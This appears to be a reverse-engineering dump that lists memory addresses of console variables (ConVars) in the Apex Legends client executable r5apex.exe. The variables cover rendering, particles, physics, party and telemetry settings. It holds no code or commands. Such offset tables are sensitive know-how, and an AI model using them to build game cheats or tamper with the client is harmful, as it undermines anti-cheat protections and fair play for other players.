+r5apex.exe!0x0119aa00 ConVar old_gather_props +r5apex.exe!0x01c914d0 ConVar one_handed_change_rate +r5apex.exe!0x01e58880 ConVar opaque_renderable_worker +r5apex.exe!0x012caae0 ConVar openInvite_spam +r5apex.exe!0x012ca440 ConVar openInvites_filterByLanguage +r5apex.exe!0x012ca700 ConVar openInvites_filterByRegion +r5apex.exe!0x012cefa0 ConVar openinvite_duration_default +r5apex.exe!0x01c39890 ConVar ordnanceSwapSelectCooldown +r5apex.exe!0x058ca360 ConVar origin_Errorlevel_OldBehaviour +r5apex.exe!0x058ca5e0 ConVar origin_Errorlevel_Telementry +r5apex.exe!0x058ca540 ConVar origin_authCodeFailureMaxBackoffSeconds +r5apex.exe!0x058c4fc0 ConVar origin_autoRefreshTokenClient +r5apex.exe!0x058ca400 ConVar origin_autoRefreshTokenServer +r5apex.exe!0x058ca220 ConVar origin_debug +r5apex.exe!0x058c4e80 ConVar origin_disconnectWhenOffline +r5apex.exe!0x058c4f20 ConVar origin_ignoreInvitesOnLoadScreen +r5apex.exe!0x058c4cd0 ConVar origin_igo_mutes_sound_enabled +r5apex.exe!0x018a2930 ConVar origin_igo_muting_sound +r5apex.exe!0x058c4de0 ConVar origin_keepOldPresence +r5apex.exe!0x058ca2c0 ConVar origin_presense_updateRate +r5apex.exe!0x058ca4a0 ConVar origin_tokenFailureMaxBackoffSeconds +r5apex.exe!0x01e8d130 ConVar panel_showVisChanges +r5apex.exe!0x01e8cd80 ConVar panel_test_title_safe +r5apex.exe!0x01e84bc0 ConVar parenting_debug +r5apex.exe!0x01c9f870 ConVar particleEffect_checkShouldStillPlay +r5apex.exe!0x01e8b510 ConVar particle_alwayswakeonstop +r5apex.exe!0x012d3ca0 ConVar particle_cpu_level +r5apex.exe!0x01e8b8d0 ConVar particle_delete_all_except +r5apex.exe!0x01c2f180 ConVar particle_dlights_enable +r5apex.exe!0x01c38010 ConVar particle_dlights_spew +r5apex.exe!0x01c56340 ConVar particle_gpu_level +r5apex.exe!0x012e6d40 ConVar particle_lighting_clear_enable +r5apex.exe!0x012e6ca0 ConVar particle_lighting_size +r5apex.exe!0x01e8b110 ConVar particle_lighting_viewmodel_enable +r5apex.exe!0x01c508e0 ConVar particle_overlay +r5apex.exe!0x01c51770 ConVar particle_overlay_detail_attributes +r5apex.exe!0x01c55650 ConVar particle_overlay_detail_filter +r5apex.exe!0x01c552b0 ConVar particle_overlay_detail_list_particles +r5apex.exe!0x01c52430 ConVar particle_overlay_detail_scroll +r5apex.exe!0x01c53ab0 ConVar particle_overlay_hide_sleeping +r5apex.exe!0x01c542d0 ConVar particle_overlay_list_filter +r5apex.exe!0x01c50510 ConVar particle_overlay_list_tally +r5apex.exe!0x01c51630 ConVar particle_overlay_list_tally_collapse_children +r5apex.exe!0x01c52c30 ConVar particle_overlay_old +r5apex.exe!0x01c53190 ConVar particle_overlay_scroll +r5apex.exe!0x01e8aaa0 ConVar particle_remap_vol2cp_debug +r5apex.exe!0x01e89c10 ConVar particle_script_dump +r5apex.exe!0x01e89cb0 ConVar particle_script_list +r5apex.exe!0x01e89d50 ConVar particle_script_log +r5apex.exe!0x01c50c70 ConVar particle_scrub_debug +r5apex.exe!0x01e8b1f0 ConVar particle_scrub_debug_effect +r5apex.exe!0x01e8ba10 ConVar particle_scrub_is_using_time_scrub +r5apex.exe!0x01e8b5b0 ConVar particle_scrub_max_dt +r5apex.exe!0x01e8b650 ConVar particle_scrub_play_speed +r5apex.exe!0x01e8b830 ConVar particle_scrub_quality +r5apex.exe!0x01e8b6f0 ConVar particle_scrub_time +r5apex.exe!0x01c54050 ConVar particle_simulateoverflow +r5apex.exe!0x01e8b970 ConVar particles_cull_dlights +r5apex.exe!0x01e8b790 ConVar particles_max_passes +r5apex.exe!0x01e8b290 ConVar particles_spawncull +r5apex.exe!0x01e8b3d0 ConVar particles_spawncull_report +r5apex.exe!0x012cf040 ConVar parties_alwaysReadSubs +r5apex.exe!0x012ce7a0 ConVar party_autoCreatePartyAlways +r5apex.exe!0x012cf340 ConVar party_autoCreatePartyDelay +r5apex.exe!0x01e651e0 ConVar party_color_enabled +r5apex.exe!0x012ceac0 ConVar party_doRealNameLookups +r5apex.exe!0x012ce980 ConVar party_doRealNameLookupsForOwner +r5apex.exe!0x012cadc0 ConVar party_hostname +r5apex.exe!0x012ce8e0 ConVar party_httpHandleTimeout +r5apex.exe!0x012ca7a0 ConVar party_keepAliveTime +r5apex.exe!0x012cef00 ConVar party_keepAliveTime +r5apex.exe!0x012ced40 ConVar party_leaderAlwaysDetectsChanges +r5apex.exe!0x012ceca0 ConVar party_leaderReadyOnly +r5apex.exe!0x012ca940 ConVar party_leaveMatchOnJoin +r5apex.exe!0x012cee60 ConVar party_lookupRealNamesForOpenInvites +r5apex.exe!0x012cf0e0 ConVar party_lookupRealNamesForOpenInvitesForOwner +r5apex.exe!0x012cec00 ConVar party_minSize +r5apex.exe!0x012cf2a0 ConVar party_privacy +r5apex.exe!0x012cf3e0 ConVar party_readyToSearch +r5apex.exe!0x0129d1f0 ConVar party_relyOnPartyForMemberUserInfo +r5apex.exe!0x012cf480 ConVar party_requireConsensusForSearch +r5apex.exe!0x0119d260 ConVar perTriangleCollisionForced +r5apex.exe!0x01885300 ConVar perfcharts_killswitch +r5apex.exe!0x018853a0 ConVar perfcharts_pin_enabled +r5apex.exe!0x01885440 ConVar perfcharts_pin_print +r5apex.exe!0x01198830 ConVar persistenceDef_hostname +r5apex.exe!0x012d3160 ConVar persistenceDef_queryMaxHttpRetries +r5apex.exe!0x012d30c0 ConVar persistenceDef_readMaxHttpRetries +r5apex.exe!0x012d3200 ConVar persistenceDef_retryReadAfterErrorTime +r5apex.exe!0x012d32a0 ConVar persistenceDef_writeMaxHttpRetries +r5apex.exe!0x012d33e0 ConVar persistence_clForceNew +r5apex.exe!0x012d3480 ConVar persistence_disableForBuildProcess +r5apex.exe!0x012d3520 ConVar persistence_enforce_manifest +r5apex.exe!0x01197b10 ConVar persistence_hostname +r5apex.exe!0x012d3660 ConVar persistence_new_player_if_upgrade_fails +r5apex.exe!0x012d3340 ConVar persistence_upload_def +r5apex.exe!0x012d35c0 ConVar persistence_upload_failure_is_error +r5apex.exe!0x01297cc0 ConVar persistent_warningRate +r5apex.exe!0x01199970 ConVar pertrianglecollision +r5apex.exe!0x01e88ed0 ConVar phys_bounce +r5apex.exe!0x01e88fb0 ConVar phys_cfm +r5apex.exe!0x01e88cf0 ConVar phys_cfm_anglejointstop +r5apex.exe!0x01e88d90 ConVar phys_drawContacts +r5apex.exe!0x01e88e30 ConVar phys_drawContactsDuration +r5apex.exe!0x01e889d0 ConVar phys_drawGeoms +r5apex.exe!0x01e88b10 ConVar phys_drawTunnelChecks +r5apex.exe!0x01e88750 ConVar phys_enableObjectPairCollidePrototype +r5apex.exe!0x01e88610 ConVar phys_erp +r5apex.exe!0x01e88930 ConVar phys_erp_anglejointstop +r5apex.exe!0x01e88c50 ConVar phys_frictionDefault +r5apex.exe!0x01c54810 ConVar phys_showObjectCount +r5apex.exe!0x01e887f0 ConVar phys_threadGoWide +r5apex.exe!0x01e89290 ConVar physics_async_cl +r5apex.exe!0x01e89150 ConVar physics_autoSleepAngularThreshold +r5apex.exe!0x01e88bb0 ConVar physics_autoSleepDebug +r5apex.exe!0x01e88a70 ConVar physics_autoSleepGroundHysteresis +r5apex.exe!0x01e891f0 ConVar physics_autoSleepSpeedThreshold +r5apex.exe!0x01e886b0 ConVar physics_collideWithMovingGeo +r5apex.exe!0x01c51e30 ConVar physics_collision_speed_threshold +r5apex.exe!0x01c752e0 ConVar physics_defaultMaxAngularSpeed +r5apex.exe!0x01c90ed0 ConVar physics_defaultMaxSpeed +r5apex.exe!0x01888a80 ConVar physics_scaled_mem +r5apex.exe!0x01e88890 ConVar physics_tunnelChecks +r5apex.exe!0x01e890b0 ConVar physics_tunnelChecksForceAlways +r5apex.exe!0x0119c9c0 ConVar pin_opt_in +r5apex.exe!0x012982e0 ConVar pin_plat_id +r5apex.exe!0x0119cc40 ConVar pin_sid +r5apex.exe!0x01199650 ConVar pin_telemetry_actually_send +r5apex.exe!0x0119cec0 ConVar pin_telemetry_debug_code +r5apex.exe!0x01199430 ConVar pin_telemetry_debug_payload +r5apex.exe!0x01e5c160 ConVar pin_telemetry_debug_script +r5apex.exe!0x011998d0 ConVar pin_telemetry_dont_send_events +r5apex.exe!0x0119abc0 ConVar pin_telemetry_hostname +r5apex.exe!0x0119a760 ConVar pin_telemetry_inactivity_send_time +r5apex.exe!0x0119a940 ConVar pin_telemetry_max_payload_size +r5apex.exe!0x0119bdc0 ConVar pin_telemetry_send_debug +r5apex.exe!0x01193f50 ConVar ping_debug +r5apex.exe!0x01e702a0 ConVar ping_max_green +r5apex.exe!0x01e70120 ConVar ping_max_red +r5apex.exe!0x01e70700 ConVar ping_max_yellow +r5apex.exe!0x01192940 ConVar ping_minSentForChoice +r5apex.exe!0x01194390 ConVar ping_qos_units +r5apex.exe!0x01198010 ConVar ping_usePacketLoss +r5apex.exe!0x01895900 ConVar pixvis_enable +r5apex.exe!0x01882ce0 ConVar pixvis_maxquads +r5apex.exe!0x01895680 ConVar pixvis_spew +r5apex.exe!0x012ce370 ConVar plat_environment +r5apex.exe!0x012c9e60 ConVar plat_retryNameLookups +r5apex.exe!0x01298420 ConVar platform_user_id +r5apex.exe!0x01e6f860 ConVar playerListPartyColorB +r5apex.exe!0x01e70660 ConVar playerListPartyColorG +r5apex.exe!0x01e6f540 ConVar playerListPartyColorR +r5apex.exe!0x01e708e0 ConVar playerListUseFriendColor +r5apex.exe!0x01ca0be0 ConVar player_ADS_buffer_time_seconds +r5apex.exe!0x01894740 ConVar player_debugPredictedPosition +r5apex.exe!0x0188e040 ConVar player_deltaAnimsMakeMeUnpredicted +r5apex.exe!0x018933d0 ConVar player_doJetwashEffects +r5apex.exe!0x01c88ac0 ConVar player_extraairaccelleration +r5apex.exe!0x01894600 ConVar player_highFrequencyThinkDistance +r5apex.exe!0x01c916a0 ConVar player_movementBounds_predictionShare +r5apex.exe!0x01e6eb60 ConVar player_movingDeathThreshold +r5apex.exe!0x01893aa0 ConVar player_respawnInputDebounceDuration +r5apex.exe!0x01c45810 ConVar player_setting_autosprint +r5apex.exe!0x01e5e270 ConVar player_setting_damage_closes_deathbox_menu +r5apex.exe!0x01ca1700 ConVar player_setting_stickysprintforward +r5apex.exe!0x01892530 ConVar player_showEyePosition +r5apex.exe!0x01c57150 ConVar player_useMovementBounds +r5apex.exe!0x01893bc0 ConVar player_viewchange_debug_pitch +r5apex.exe!0x018947e0 ConVar player_viewchange_debug_roll +r5apex.exe!0x01893290 ConVar player_viewchange_debug_yaw +r5apex.exe!0x0119c600 ConVar playlist_changeGamemodeAutomatically +r5apex.exe!0x0119b480 ConVar playlist_debug +r5apex.exe!0x01199390 ConVar playlist_debug_getvar +r5apex.exe!0x0119ab20 ConVar playlist_debug_localization +r5apex.exe!0x0119b980 ConVar playlist_dump +r5apex.exe!0x0119b1e0 ConVar playlist_privateMatchEnabled +r5apex.exe!0x011992f0 ConVar playlist_rotationGroup +r5apex.exe!0x0119c480 ConVar playlist_rotationInterval +r5apex.exe!0x01199d50 ConVar playlist_rotationIntervalDefault +r5apex.exe!0x0119c020 ConVar playlist_rotationIntervalOverride +r5apex.exe!0x0119baa0 ConVar playlist_rotationNextTime +r5apex.exe!0x01c87520 ConVar playlist_variableErrorsChecks +r5apex.exe!0x01e714c0 ConVar portal_pointpush_debug +r5apex.exe!0x01e71560 ConVar portal_pointpush_think_rate +r5apex.exe!0x01ca1520 ConVar portal_use_player_avoidance +r5apex.exe!0x01e85680 ConVar postdataupdate_threaded +r5apex.exe!0x01e84e00 ConVar postdataupdate_threaded_chunksize +r5apex.exe!0x01195060 ConVar printConnectTimings +r5apex.exe!0x018acc60 ConVar print_timeprefix +r5apex.exe!0x01e7a6e0 ConVar process_pending_vm_effects +r5apex.exe!0x01e6f680 ConVar progressbar_allow_wrap +r5apex.exe!0x01e6fae0 ConVar progressbar_high_precision +r5apex.exe!0x01e6f900 ConVar progressbar_single_bar +r5apex.exe!0x01e80640 ConVar projectile_fake_prediction_in_kill_replay +r5apex.exe!0x01e7d5d0 ConVar projectile_faketrails +r5apex.exe!0x01e7da70 ConVar projectile_filltrails +r5apex.exe!0x01e7c400 ConVar projectile_lagCompensationDebug +r5apex.exe!0x01e7d930 ConVar projectile_lagCompensationDebugDrawNoReg +r5apex.exe!0x01e7c740 ConVar projectile_lagCompensationDebugDrawTime +r5apex.exe!0x01e7d7f0 ConVar projectile_lagCompensationDebugExtra +r5apex.exe!0x01e7d9d0 ConVar projectile_lagCompensationDebugForceNoReg +r5apex.exe!0x01e7c6a0 ConVar projectile_lagCompensationDebugServerOffset +r5apex.exe!0x01e765d0 ConVar projectile_lagCompensationMissileTimeStepScalar +r5apex.exe!0x01e7d750 ConVar projectile_muzzleOffsetFirstPersonDecayDist +r5apex.exe!0x01e7ce50 ConVar projectile_muzzleOffsetFirstPersonDecayMaxTime +r5apex.exe!0x01e7cd30 ConVar projectile_muzzleOffsetThirdPersonDecayDist +r5apex.exe!0x01e7d890 ConVar projectile_muzzleOffsetThirdPersonDecayMaxTime +r5apex.exe!0x01e7d670 ConVar projectile_prediction +r5apex.exe!0x01e7d470 ConVar projectile_predictionErrorCorrectTime +r5apex.exe!0x01c2d8a0 ConVar prop_lightweightPropsSkipAnimData +r5apex.exe!0x018954a0 ConVar prop_survivalSkipsAnimData +r5apex.exe!0x01c99300 ConVar props_break_burst_rotation +r5apex.exe!0x01c99260 ConVar props_break_max_pieces +r5apex.exe!0x01c9d320 ConVar props_break_max_pieces_perframe +r5apex.exe!0x012cae60 ConVar publication_hostname +r5apex.exe!0x01e873a0 ConVar push_cl +r5apex.exe!0x01e85300 ConVar push_cl_always_update_prev_matrix +r5apex.exe!0x01c9d280 ConVar push_debug +r5apex.exe!0x01c9b9b0 ConVar push_debug_ent +r5apex.exe!0x01c986a0 ConVar push_ragdolls +r5apex.exe!0x01e5a260 ConVar pve_debug +r5apex.exe!0x01ca39c0 ConVar pvs_addWorkItemsAccum +r5apex.exe!0x01ca3d80 ConVar pvs_addWorkItemsThreshold_edges +r5apex.exe!0x01ca3ec0 ConVar pvs_addWorkItemsThreshold_leaves +r5apex.exe!0x01ca3f60 ConVar pvs_cullBoxes +r5apex.exe!0x01ca3ba0 ConVar pvs_debug +r5apex.exe!0x01ca3c40 ConVar pvs_frustumCullOnly +r5apex.exe!0x01c38150 ConVar pvs_start_early +r5apex.exe!0x01c8cf60 ConVar r_AirboatViewDampenDamp +r5apex.exe!0x01c907a0 ConVar r_AirboatViewDampenFreq +r5apex.exe!0x01c8dfd0 ConVar r_AirboatViewZHeight +r5apex.exe!0x01c90f70 ConVar r_JeepViewDampenDamp +r5apex.exe!0x01c8e3b0 ConVar r_JeepViewDampenFreq +r5apex.exe!0x01c5b330 ConVar r_VehicleViewDampen +r5apex.exe!0x01ca3ce0 ConVar r_WaterDrawReflection +r5apex.exe!0x012e0990 ConVar r_WaterDrawRefraction +r5apex.exe!0x01190470 ConVar r_aspectratio +r5apex.exe!0x01ca4640 ConVar r_blurmenubg +r5apex.exe!0x01882620 ConVar r_bone_matrix_bulk_update_threshold +r5apex.exe!0x0119b5c0 ConVar r_brush_queue_mode +r5apex.exe!0x0119c160 ConVar r_createmodeldecals +r5apex.exe!0x01193480 ConVar r_cullshadowworldmeshes +r5apex.exe!0x01c578b0 ConVar r_debug_draw_box_depth_test +r5apex.exe!0x0119c7e0 ConVar r_decal_cover_count +r5apex.exe!0x0118dd20 ConVar r_decal_cull_stretch_limit +r5apex.exe!0x0119a3a0 ConVar r_decal_draw_basis +r5apex.exe!0x0118d050 ConVar r_decal_drawclipped +r5apex.exe!0x0119cce0 ConVar r_decal_overlap_area +r5apex.exe!0x0119c0c0 ConVar r_decal_overlap_count +r5apex.exe!0x0119a580 ConVar r_decal_test_scale +r5apex.exe!0x011942f0 ConVar r_decals +r5apex.exe!0x012e5930 ConVar r_delay_texture_destroy +r5apex.exe!0x012e0b70 ConVar r_ditherFade +r5apex.exe!0x018a7f10 ConVar r_ditherFade +r5apex.exe!0x018a3990 ConVar r_ditherFadeShadows +r5apex.exe!0x01c37e10 ConVar r_drawallrenderables +r5apex.exe!0x01ca4820 ConVar r_drawalphasort +r5apex.exe!0x01198470 ConVar r_drawbrushmodels +r5apex.exe!0x01e59720 ConVar r_drawbrushmodels +r5apex.exe!0x0119be60 ConVar r_drawdecals +r5apex.exe!0x01e59540 ConVar r_drawdepth_of_blend2transparent +r5apex.exe!0x0118bea0 ConVar r_drawdlights +r5apex.exe!0x01191090 ConVar r_drawentities +r5apex.exe!0x0118dc80 ConVar r_drawlightdist +r5apex.exe!0x0118d330 ConVar r_drawlightinfo +r5apex.exe!0x0188ca60 ConVar r_drawmodelsinzfill +r5apex.exe!0x01e597c0 ConVar r_drawopaquerenderables +r5apex.exe!0x01c562a0 ConVar r_drawparticles +r5apex.exe!0x01e84fe0 ConVar r_drawrenderboxes +r5apex.exe!0x01ca45a0 ConVar r_drawscreenspaceparticles +r5apex.exe!0x01e58ba0 ConVar r_drawsky +r5apex.exe!0x01e58d80 ConVar r_drawskybox_deprecated +r5apex.exe!0x0118db10 ConVar r_drawstaticlight +r5apex.exe!0x01e594a0 ConVar r_drawstaticprops +r5apex.exe!0x01c42430 ConVar r_drawtracers +r5apex.exe!0x0119a8a0 ConVar r_drawvgui +r5apex.exe!0x01e58b00 ConVar r_drawviewmodel +r5apex.exe!0x01196ae0 ConVar r_drawworld +r5apex.exe!0x0118f000 ConVar r_dynamic +r5apex.exe!0x01e59280 ConVar r_earlyRenderables +r5apex.exe!0x018a3730 ConVar r_enableOriginSort +r5apex.exe!0x01ca4280 ConVar r_fadeincode +r5apex.exe!0x01c38270 ConVar r_farz +r5apex.exe!0x011960e0 ConVar r_fastzreject +r5apex.exe!0x01ca3a60 ConVar r_forcecheapwater +r5apex.exe!0x0188d120 ConVar r_jiggle_bones +r5apex.exe!0x011973f0 ConVar r_lightmap +r5apex.exe!0x01196e50 ConVar r_lightprobe_force_trans_dist +r5apex.exe!0x01197670 ConVar r_lightstyle +r5apex.exe!0x01194f20 ConVar r_lod +r5apex.exe!0x0119b840 ConVar r_lod +r5apex.exe!0x01c52b90 ConVar r_lod +r5apex.exe!0x01199070 ConVar r_lod_shift +r5apex.exe!0x01c4f010 ConVar r_lod_shift +r5apex.exe!0x01e73d80 ConVar r_lod_switch_scale +r5apex.exe!0x018a4c10 ConVar r_mapextents +r5apex.exe!0x01884ec0 ConVar r_modeldecal_maxtotal +r5apex.exe!0x01895720 ConVar r_nearz +r5apex.exe!0x012e9060 ConVar r_no_stalls +r5apex.exe!0x01882800 ConVar r_no_stalls +r5apex.exe!0x01882d80 ConVar r_no_stalls +r5apex.exe!0x01190ae0 ConVar r_norefresh +r5apex.exe!0x01e58920 ConVar r_particle_lighting_debug +r5apex.exe!0x01ca4000 ConVar r_particle_lighting_enable +r5apex.exe!0x01e8ada0 ConVar r_particle_lighting_enable +r5apex.exe!0x01e8a160 ConVar r_particle_lighting_force +r5apex.exe!0x01e8b050 ConVar r_particle_lighting_force +r5apex.exe!0x01ca4320 ConVar r_particle_low_res_debug +r5apex.exe!0x012e6e80 ConVar r_particle_low_res_draw_weight_tex +r5apex.exe!0x01e8aea0 ConVar r_particle_low_res_enable +r5apex.exe!0x01e8af40 ConVar r_particle_low_res_force +r5apex.exe!0x012e6de0 ConVar r_particle_low_res_tiled_composite +r5apex.exe!0x01c51090 ConVar r_particle_sim_spike_increment_ms +r5apex.exe!0x01c54b90 ConVar r_particle_sim_spike_threshold_ms +r5apex.exe!0x01c4d2f0 ConVar r_particle_timescale +r5apex.exe!0x0189f410 ConVar r_particles_early_distance_cull +r5apex.exe!0x01e86080 ConVar r_pos_debug +r5apex.exe!0x01e85540 ConVar r_render_pos_debug +r5apex.exe!0x012e1070 ConVar r_rimlight +r5apex.exe!0x01197a70 ConVar r_rootlod +r5apex.exe!0x01e89590 ConVar r_rootlod +r5apex.exe!0x01c3eae0 ConVar r_ropetranslucent +r5apex.exe!0x01c52df0 ConVar r_setupBoneWorkSize +r5apex.exe!0x01c567c0 ConVar r_setupBoneWorkerThreadhold +r5apex.exe!0x012e1110 ConVar r_shadowrendertotexture +r5apex.exe!0x01ca4780 ConVar r_sky_ignoreAngles +r5apex.exe!0x01c2f2c0 ConVar r_sort_trans_debug +r5apex.exe!0x018a3e90 ConVar r_sort_trans_debug_dist +r5apex.exe!0x01c50470 ConVar r_threaded_particles +r5apex.exe!0x01c4f390 ConVar r_updaterefracttexture +r5apex.exe!0x01c55970 ConVar r_updaterefracttexture_allowmultiple +r5apex.exe!0x0118b890 ConVar r_visambient +r5apex.exe!0x0118d470 ConVar r_visambient_orig +r5apex.exe!0x0118da70 ConVar r_visambient_point +r5apex.exe!0x0119c920 ConVar r_vismodellighting_lightpos +r5apex.exe!0x01c4eed0 ConVar r_vismodellighting_maxdist +r5apex.exe!0x01c529d0 ConVar r_vismodellighting_mindist +r5apex.exe!0x0119b7a0 ConVar r_vismodellighting_offset_x +r5apex.exe!0x0119a260 ConVar r_vismodellighting_offset_y +r5apex.exe!0x0119b3e0 ConVar r_vismodellighting_offset_z +r5apex.exe!0x018acba0 ConVar r_visualizeproplightcaching +r5apex.exe!0x01c9e980 ConVar r_visualizetraces +r5apex.exe!0x01c9e400 ConVar r_visualizetraces_duration +r5apex.exe!0x012e8780 ConVar r_volumetric_lighting_blur_count +r5apex.exe!0x012e86e0 ConVar r_volumetric_lighting_blur_type +r5apex.exe!0x012e8640 ConVar r_volumetric_lighting_enabled +r5apex.exe!0x012e88c0 ConVar r_volumetric_lighting_numSteps +r5apex.exe!0x012e8820 ConVar r_volumetric_lighting_rotate_dither +r5apex.exe!0x01ca3b00 ConVar r_waterforceexpensive +r5apex.exe!0x01ca3e20 ConVar r_waterforcereflectentities +r5apex.exe!0x01e59680 ConVar r_zfill +r5apex.exe!0x0188c780 ConVar ragdoll_debug +r5apex.exe!0x01c54fd0 ConVar ragdoll_sleepaftertime +r5apex.exe!0x01e5d140 ConVar rankedplay_display_enabled +r5apex.exe!0x01e5c5c0 ConVar rankedplay_voice_enabled +r5apex.exe!0x01261760 ConVar rate +r5apex.exe!0x01c9f910 ConVar reactive_wakeOnStop +r5apex.exe!0x01c3d8f0 ConVar real_time_update_dt +r5apex.exe!0x0119f7c0 ConVar recalculateOrigin_threaded_chunksize +r5apex.exe!0x012cf6e0 ConVar reconnect_available_timespan +r5apex.exe!0x012cf640 ConVar reconnect_check_platform_id +r5apex.exe!0x0129cba0 ConVar reconnect_debug +r5apex.exe!0x012cf780 ConVar reconnect_delay +r5apex.exe!0x01197530 ConVar reconnect_enabled +r5apex.exe!0x0118bcf0 ConVar reconnect_timeout +r5apex.exe!0x01e72bb0 ConVar remoteCalls_requireConnectionScriptsForViewPlayer +r5apex.exe!0x01199110 ConVar remoteMatchInfo_print +r5apex.exe!0x0119d3c0 ConVar replay_enable +r5apex.exe!0x0119b000 ConVar replay_prediction_smooth +r5apex.exe!0x01e86a40 ConVar report_cliententitysim +r5apex.exe!0x018a3d50 ConVar report_clientthinklist +r5apex.exe!0x0189dcd0 ConVar roamingcam_cameraspacemotion +r5apex.exe!0x0189fc10 ConVar roamingcam_downSpeedMult +r5apex.exe!0x018961f0 ConVar roamingcam_forwardSpeed +r5apex.exe!0x01c2eca0 ConVar roamingcam_forwardSpeed_fast +r5apex.exe!0x0189fb70 ConVar roamingcam_forwardSpeed_slow +r5apex.exe!0x018a6bd0 ConVar roamingcam_movesmoothing +r5apex.exe!0x01895170 ConVar roamingcam_rollSpeed +r5apex.exe!0x018a5a20 ConVar roamingcam_sideSpeedMult +r5apex.exe!0x01896640 ConVar roamingcam_smoothtime +r5apex.exe!0x018a4390 ConVar roamingcam_viewsmoothing +r5apex.exe!0x018949c0 ConVar rodeo_camera_smooth_blend_out_time +r5apex.exe!0x018931f0 ConVar rodeo_camera_smooth_enable +r5apex.exe!0x01e6e840 ConVar rodeoed_anims_enabled +r5apex.exe!0x01c4b530 ConVar rope_collide +r5apex.exe!0x01c49f10 ConVar rope_debug_shake +r5apex.exe!0x01c3c340 ConVar rope_parallelMeshBuilder +r5apex.exe!0x01c4ad30 ConVar rope_regenMeshEachDraw +r5apex.exe!0x01c3dc50 ConVar rope_shake +r5apex.exe!0x01c4a710 ConVar rope_texels_per_world_unit +r5apex.exe!0x01c39a50 ConVar rope_wiggle_harmonic_falloff +r5apex.exe!0x01c4bfb0 ConVar rope_wiggle_magnitude_loose +r5apex.exe!0x01c3eb80 ConVar rope_wiggle_magnitude_tight +r5apex.exe!0x01c47790 ConVar rope_wiggle_oscillate_speed +r5apex.exe!0x01c39770 ConVar rope_wiggle_rotate_speed +r5apex.exe!0x01c43ec0 ConVar rope_wiggle_zipline_min_points +r5apex.exe!0x01c391b0 ConVar rope_wind_dist +r5apex.exe!0x01892bd0 ConVar rotate_ents +r5apex.exe!0x0118fb40 ConVar rspn_motd +r5apex.exe!0x012e4800 ConVar rt_sync_message_pump +r5apex.exe!0x012e48a0 ConVar rt_worker +r5apex.exe!0x01e70340 ConVar ruiPanel_resArgName +r5apex.exe!0x01c54370 ConVar rui_asyncTracks +r5apex.exe!0x01e8e6c0 ConVar rui_defaultDebugFontFace +r5apex.exe!0x01e8ea20 ConVar rui_defaultFontFace +r5apex.exe!0x01e8d820 ConVar rui_defaultFontHeight +r5apex.exe!0x01e8cec0 ConVar rui_overrideVguiTextRendering +r5apex.exe!0x01298a60 ConVar rui_padDist +r5apex.exe!0x012989c0 ConVar rui_safeAreaFrac +r5apex.exe!0x01199ab0 ConVar rui_standardTextHeight +r5apex.exe!0x0129c880 ConVar save_enable +r5apex.exe!0x01e8d1e0 ConVar scheme_manager_font_debug +r5apex.exe!0x01c51c30 ConVar scr_centertime +r5apex.exe!0x0189de10 ConVar screen_indicator_back_range +r5apex.exe!0x018aa160 ConVar screen_indicator_ellipse_height +r5apex.exe!0x01895af0 ConVar screen_indicator_ellipse_width +r5apex.exe!0x0189fd50 ConVar screen_indicator_pitch_limit +r5apex.exe!0x018a0110 ConVar screen_indicator_pitch_scale +r5apex.exe!0x01c53dd0 ConVar screenfade_debug +r5apex.exe!0x01c9c670 ConVar scriptNetVar_categoryAsserts +r5apex.exe!0x01e59b80 ConVar script_compile_all_levels +r5apex.exe!0x01c522f0 ConVar script_debugger_connect_client_on_mapspawn +r5apex.exe!0x01e5eb50 ConVar script_debugger_connect_ui_auto +r5apex.exe!0x01e8f690 ConVar script_debugger_host +r5apex.exe!0x01e8f730 ConVar script_debugger_port_client +r5apex.exe!0x01e8f5f0 ConVar script_debugger_port_server +r5apex.exe!0x01e8f4b0 ConVar script_debugger_port_ui +r5apex.exe!0x01e902a0 ConVar script_disallow_newslot_on_globals +r5apex.exe!0x01e8f550 ConVar script_dump_simple +r5apex.exe!0x01e5b820 ConVar script_error_on_midgame_load +r5apex.exe!0x01e8f410 ConVar script_infinite_loop_ms +r5apex.exe!0x01e5bae0 ConVar script_parallel_trace_LOS_multiple +r5apex.exe!0x01c8e8f0 ConVar script_precache_errors +r5apex.exe!0x01c4eb10 ConVar script_printDeferredCalls +r5apex.exe!0x01e5c220 ConVar script_retry_after_compile_errors +r5apex.exe!0x01e5bca0 ConVar script_seasonNameQueryInterval +r5apex.exe!0x01e6f720 ConVar script_showErrorDialogs +r5apex.exe!0x012cb9d0 ConVar script_slopTimeBeforeBudgetEnforcement +r5apex.exe!0x01c54e10 ConVar script_window_client_precache +r5apex.exe!0x01c597d0 ConVar scriptremotefunctions_debug +r5apex.exe!0x01c8a650 ConVar scriptremotefunctions_resetOnlyUi +r5apex.exe!0x01c88a20 ConVar scriptremotefunctions_saveFuncName +r5apex.exe!0x01e5a4d0 ConVar seasonquest_force_missionscleared_count +r5apex.exe!0x01e5a430 ConVar seasonquest_force_treasurepacks_count +r5apex.exe!0x01884ad0 ConVar send_script_errors +r5apex.exe!0x01c93830 ConVar sequence_transitioner_enable +r5apex.exe!0x011981f0 ConVar serverFilter +r5apex.exe!0x012cac80 ConVar serverReports_hostname +r5apex.exe!0x0118b0d0 ConVar server_concommands_allways_network +r5apex.exe!0x012ceb60 ConVar server_query_interval +r5apex.exe!0x0188df00 ConVar sfm_record_hz +r5apex.exe!0x018a3390 ConVar shadow_always_update +r5apex.exe!0x018829e0 ConVar shadow_bleedfudge +r5apex.exe!0x011909a0 ConVar shadow_capable +r5apex.exe!0x01e58f60 ConVar shadow_clear_dist +r5apex.exe!0x01895a40 ConVar shadow_dbg_cone_depthtest +r5apex.exe!0x01894d90 ConVar shadow_dbg_cones +r5apex.exe!0x018a1250 ConVar shadow_dbg_draw +r5apex.exe!0x018a1110 ConVar shadow_default_filter_size +r5apex.exe!0x01c2e330 ConVar shadow_depth_dimen_min +r5apex.exe!0x018a2a70 ConVar shadow_depth_upres_factor_max +r5apex.exe!0x018a8d00 ConVar shadow_drawfrustum +r5apex.exe!0x0189ce30 ConVar shadow_dynamic_blendfactor +r5apex.exe!0x011966e0 ConVar shadow_enable +r5apex.exe!0x018a3fd0 ConVar shadow_esm_enable +r5apex.exe!0x0189ba40 ConVar shadow_filter_maxstep +r5apex.exe!0x01c37b10 ConVar shadow_info +r5apex.exe!0x01c2d800 ConVar shadow_lobby_mode_allowed +r5apex.exe!0x01c2ea10 ConVar shadow_max_downsizing_spot_updates +r5apex.exe!0x018acd80 ConVar shadow_max_dynamic_lobby +r5apex.exe!0x0189fa30 ConVar shadow_max_old_dynamic +r5apex.exe!0x018a6060 ConVar shadow_max_spot_updates 